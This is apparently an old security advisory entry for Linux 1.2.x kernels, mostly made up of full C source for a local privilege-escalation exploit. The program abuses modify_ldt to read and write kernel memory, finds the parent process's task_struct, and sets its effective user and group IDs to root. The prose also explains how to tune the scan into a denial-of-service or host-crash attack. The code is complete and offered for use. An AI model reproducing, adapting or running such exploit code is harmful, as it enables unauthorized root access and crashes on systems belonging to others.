COMMAND
kernel
SYSTEMS AFFECTED
linux 1.2.X
PROBLEM
The source is a modification of Morten Welinder post in
linux-kernel somewehere around march. This one does not need
System.map to find _task structure in kernel data segment.
Instead I wrote a SEGV trap to find where accessable patitions of
memory are.
To speed it up I access direct at 0xC000000 (KERNEL_BASE) and
step it with 0x1000 (PAGE_STEP - task_struct-s are usualy at page
boundary). But it can be set up to search the whole memory for
matching task_struct-s.
The parent task_struct match is very loose (I am looking only
for euid, egid and pid of parent task at correct distances. This
can be extended for better match, but I found out that these
three are quite enought.
Also note that this one demostrates a memory leak in clib in
sigsetjmp function. If you make enough itterations this one can
be converted into denial of service attack (and posibilly host
crash ;). Try with KERNEL_BASE = 0x00000000 and PAGE_STEP = 1.
The main issue here is that developement of 1.2.X was abandoned
after 1.2.13 and all went to 1.3.X. So there were many (now after
2.0.X not *so* many) vulnerable systems around. I hope taht the
same thing wouldn't happen with 2.0.X after starting 2.1.X
developement tree.
pmcs_ex.c:
#include <setjmp.h>
#include <linux/ldt.h>
#include <stdio.h>
#include <linux/unistd.h>
#include <signal.h>
#define __KERNEL__
#include <linux/sched.h>
_syscall3(int, modify_ldt, int, func, void *, ptr, unsigned long, bytecount)
#define KERNEL_BASE 0xC0000000
#define PAGE_STEP 0x1000
/* -------------------------------------------------------------------- */
static __inline__ unsigned char
__farpeek (int seg, unsigned ofs)
{
unsigned char res;
asm ("mov %w1,%%gs ; gs; movb (%2),%%al"
: "=a" (res)
: "r" (seg), "r" (ofs));
return res;
}
/* -------------------------------------------------------------------- */
static __inline__ void
__farpoke (int seg, unsigned ofs, unsigned char b)
{
asm ("mov %w0,%%gs ; gs; movb %b2,(%1)"
: /* No results. */
: "r" (seg), "r" (ofs), "r" (b));
}
/* -------------------------------------------------------------------- */
sigjmp_buf memgetjmp;
void
memchkseg (int seg, const void *src )
{
if ( sigsetjmp ( memgetjmp, 1 ) == 0 ) {
__farpeek (seg, (unsigned)(src));
}
}
/* -------------------------------------------------------------------- */
void
memgetseg (void *dst, int seg, const void *src, int size)
{
while (size-- > 0)
*(char *)dst++ = __farpeek (seg, (unsigned)(src++));
}
/* -------------------------------------------------------------------- */
void
memputseg (int seg, void *dst, const void *src, int size)
{
while (size-- > 0)
__farpoke (seg, (unsigned)(dst++), *(char *)src++);
}
/* -------------------------------------------------------------------- */
#define KERNEL_DATA_SEGMENT 7
/* SEGV handling for kernel data segmnet boundary check */
static int iSEGV = 1;
void SEGVHandler ( int iSignal ) {
iSEGV = 1;
siglongjmp ( memgetjmp, 1 );
}
void FillTaskStruct ( char *pcTaskStruct, long lAddress ) {
int iCounter = sizeof ( struct task_struct );
while ( iCounter-- > 0 ) {
*pcTaskStruct++ = __farpeek ( KERNEL_DATA_SEGMENT, lAddress++ );
}
}
static int iMyPPID;
static int iMyUID;
static int iMyGID;
int CheckTaskStruct ( struct task_struct *sTaskStruct ) {
if ( sTaskStruct->pid == iMyPPID &&
sTaskStruct->euid == iMyUID &&
sTaskStruct->egid == iMyGID ) {
return ( 1 );
} else {
return ( 0 );
}
}
int main ( int argc, char **argv ) {
char cMessage[39] = "PMCsExploit! (c) 1996. pmc@asgard.hr\n";
struct modify_ldt_ldt_s sLDTEntry;
struct sigaction sSEGVAction;
long lStartAddress = KERNEL_BASE;
long lCheckAddress = 0x00000000;
long lAreaStart = 0x00000000;
long lAreaEnd = 0x00000000;
long lAreaLength = 0x00000000;
long lTaskAddress = 0x00000000;
int iRunning = 1;
char cOneChar = '\0';
struct task_struct sTaskStruct;
iMyPPID = getppid ();
iMyUID = getuid ();
iMyGID = getgid ();
printf ( cMessage );
printf ( "First let's see if this little joke could be done ?\n" );
sLDTEntry.entry_number = 0;
sLDTEntry.base_addr = 0x00000000;
sLDTEntry.limit = 1;
sLDTEntry.seg_32bit = 1;
sLDTEntry..contents = MODIFY_LDT_CONTENTS_STACK;
sLDTEntry.read_exec_only = 0;
sLDTEntry.limit_in_pages = 0;
sLDTEntry.seg_not_present = 0;
if ( modify_ldt ( 1, &sLDTEntry, sizeof ( sLDTEntry ) ) ) {
printf ( ":(\n" );
return ( -1 );
}
sSEGVAction.sa_handler = SEGVHandler;
sSEGVAction.sa_flags = SA_RESTART;
sigemptyset ( &sSEGVAction.sa_mask );
lCheckAddress = lStartAddress + PAGE_STEP;
while ( lCheckAddress != lStartAddress ) {
iSEGV = 0;
sigaction ( SIGSEGV, &sSEGVAction, NULL );
memchkseg ( KERNEL_DATA_SEGMENT, ( void *) lCheckAddress );
if ( iSEGV ) {
iSEGV = 1;
while ( iSEGV ) {
iSEGV = 0;
sigaction ( SIGSEGV, &sSEGVAction, NULL );
memchkseg ( KERNEL_DATA_SEGMENT, (void *) lCheckAddress );
lCheckAddress += PAGE_STEP;
}
} else {
lCheckAddress += PAGE_STEP;
}
lAreaStart = lCheckAddress - PAGE_STEP;
while ( ! iSEGV ) {
memchkseg ( KERNEL_DATA_SEGMENT, (void *) lCheckAddress );
lCheckAddress += PAGE_STEP;
}
lAreaEnd = lCheckAddress - PAGE_STEP;
lAreaLength = lAreaEnd - lAreaStart;
if ( lAreaLength<sizeof ( struct task_struct ) ) {
} else {
lTaskAddress = lAreaStart;
while ( lTaskAddress + sizeof ( struct task_struct )<lAreaEnd ) {
FillTaskStruct ( (char *) &sTaskStruct, lTaskAddress );
if ( CheckTaskStruct ( &sTaskStruct ) ) {
sTaskStruct.euid = 0;
sTaskStruct.egid = 0;
memputseg ( KERNEL_DATA_SEGMENT, (void *) lTaskAddress, (void *) &sTaskStruct, sizeof ( sTaskStruct ) );
printf ( ":)\n" );
exit ( 0 );
}
lTaskAddress += PAGE_STEP;
}
}
}
printf ( ":(\n" );
exit ( -1 );
}